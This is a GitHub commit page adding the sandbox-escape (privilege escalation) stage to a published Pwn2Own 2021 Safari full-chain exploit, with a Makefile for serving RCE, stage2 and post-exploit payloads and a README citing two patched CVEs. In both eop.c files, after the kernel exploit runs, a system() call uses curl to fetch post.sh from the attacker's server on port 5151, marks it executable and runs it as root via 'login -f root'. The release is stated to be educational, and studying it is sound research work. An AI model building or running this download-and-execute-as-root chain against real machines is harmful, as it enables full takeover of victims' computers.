Skip to content

Commit 0ac9d3e

Browse files
committed
add eop
1 parent e9e3ba0 commit 0ac9d3e

17 files changed

+1659
-3
lines changed

Makefile

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# set pipefail so piped commands' errors arent ignored
2+
SHELL = /bin/bash -o pipefail
3+
4+
SCFLAGS = -Wall -c -Os -fno-stack-protector -mno-sse -fno-unwind-tables -fno-exceptions
5+
6+
.PHONY: help
7+
help:
8+
@echo "servers:"
9+
@echo ' `make rce IP=<thrower ip>` to build/serve rce'
10+
@echo ' `make stage2` to serve stage2 eop'
11+
@echo ' `make postexploit` to serve post-exploit files'
12+
@echo ''
13+
@echo 'rebuilding:'
14+
@echo ' `make rce-build` to re-determine jsc offsets (must have same version of Safari as target machine)'
15+
@echo ' `make stage2-build` to recompile eop from source'
16+
@echo ' `make postexploit-build` to recompile post-exploit from source'
17+
@echo ' `make rebuild` to rebuild all 3'
18+
19+
.PHONY: rce
20+
rce: ip
21+
cd rce && python3 gen_wasm.py -ip $(IP) && python3 -m http.server 1717
22+
23+
.PHONY: ip
24+
ip:
25+
ifndef IP
26+
$(error server IP not set, run make IP=...)
27+
endif
28+
29+
.PHONY: stage2
30+
stage2:
31+
cd rce && python3 stage2_server.py ../eop.bin
32+
33+
.PHONY: postexploit
34+
postexploit:
35+
cd eop/postexploit && python3 -m http.server 5151
36+
37+
.PHONY: rce-build
38+
rce-build:
39+
cd rce && python3 gen_wasm.py -offs prod
40+
41+
.PHONY: stage2-build
42+
stage2-build:
43+
make -C eop ksc
44+
clang -E eop.c | sed $$'s/__NLHASH__/\\\n#/g' | clang -x c - -o eop.o $(SCFLAGS)
45+
clang -E eop/eop_common.c -DFULLCHAIN | sed $$'s/__NLHASH__/\\\n#/g' | clang -x c - -o eop_common.o $(SCFLAGS)
46+
ld eop.o eop_common.o -o eop.dylib -dylib
47+
python objcopy.py eop.dylib eop.bin
48+
rm eop.o eop.dylib eop_common.o
49+
50+
.PHONY: postexploit-build
51+
postexploit-build:
52+
cd eop/postexploit && make
53+
54+
.PHONY: rebuild
55+
rebuild: rce-build stage2-build postexploit-build

README.md

+4-3
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
1-
# Pwn2Own 2021 - Safari RCE
1+
# Pwn2Own 2021 - Safari Full Chain
22

33
This repo contains exploit source code used by [RET2 Systems](https://twitter.com/ret2systems) at [Pwn2Own 2021](https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results).
4-
It has been released for educational purposes, with an accompanying [blogpost](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit).
4+
It has been released for educational purposes, with accompanying blogposts for the [RCE](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit) and [EOP](https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/).
55

66
The exploit was demonstrated on Safari 14.0.3, macOS Big Sur 11.2.3.
7-
The vulnerability was patched in Safari 14.1.1, assigned CVE-2021-30734.
7+
The Safari vulnerability was patched in Safari 14.1.1, assigned CVE-2021-30734.
8+
The Intel graphics driver vulnerability was patched in macOS Big Sur 11.4, assigned CVE-2021-30735.
89

910
# License
1011

eop.c

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include "eop/eop_common.h"
2+
#include "fullchain.h"
3+
4+
void _start() {
5+
exploit();
6+
printf("done\n");
7+
char ip[32];
8+
sprintf(ip, CSTR("%hhu.%hhu.%hhu.%hhu"), ipaddr[0], ipaddr[1], ipaddr[2], ipaddr[3]);
9+
char cmd[512];
10+
sprintf(cmd, CSTR("(curl -o /tmp/post.sh http://%s:5151/post.sh && chmod +x /tmp/post.sh && echo %s > /tmp/ip && login -f root /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal /tmp/post.sh) 2>&%u 1>&%u"), ip, ip, log_fd, log_fd);
11+
system(cmd);
12+
}

eop/Makefile

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# set pipefail so piped commands' errors arent ignored
2+
SHELL = /bin/bash -o pipefail
3+
4+
SCFLAGS = -Wall -c -Os -fno-stack-protector -mno-sse -fno-unwind-tables -fno-exceptions
5+
6+
.PHONY: eop
7+
eop: ksc
8+
clang eop.c eop_common.c -o eop -Wall -Os -framework IOKit -framework CoreFoundation
9+
10+
.PHONY: ksc
11+
ksc:
12+
clang kernel_sc.c -o kernel_sc.o $(SCFLAGS)
13+
ld kernel_sc.o -o kernel_sc -dylib
14+
python3 objcopy.py kernel_sc kernel_sc.bin
15+
(echo GLOB && xxd -i kernel_sc.bin) | grep -v len > kernel_sc.h
16+
rm kernel_sc.o kernel_sc kernel_sc.bin

eop/eop.c

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#include "eop_common.h"
2+
extern int sandbox_init_with_parameters(char*, int, char**, char**);
3+
4+
int main(int argc, char** argv) {
5+
if (argc >= 2 && !strcmp(argv[1], "-s")) {
6+
char* errstr = 0;
7+
char* params[] = {"HOME_DIR", 0, "WEBKIT2_FRAMEWORK_DIR", 0, "DARWIN_USER_CACHE_DIR", 0, "DARWIN_USER_TEMP_DIR", 0, "HOME_LIBRARY_PREFERENCES_DIR", 0, 0, 0};
8+
for (int i = 0; params[i]; i+=2)
9+
params[i+1] = "/tmp";
10+
if (sandbox_init_with_parameters("/System/Library/Frameworks/WebKit.framework/Resources/com.apple.WebProcess.sb", 3, params, &errstr)) {
11+
printf("couldnt init sandbox: %s\n", errstr);
12+
return 1;
13+
}
14+
printf("initialized sandbox\n");
15+
}
16+
exploit();
17+
printf("done\n");
18+
system("curl -o /tmp/post.sh http://0.0.0.0:5151/post.sh && chmod +x /tmp/post.sh && echo 0.0.0.0 > /tmp/ip && login -f root /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal /tmp/post.sh");
19+
return 0;
20+
}

0 commit comments

Comments
 (0)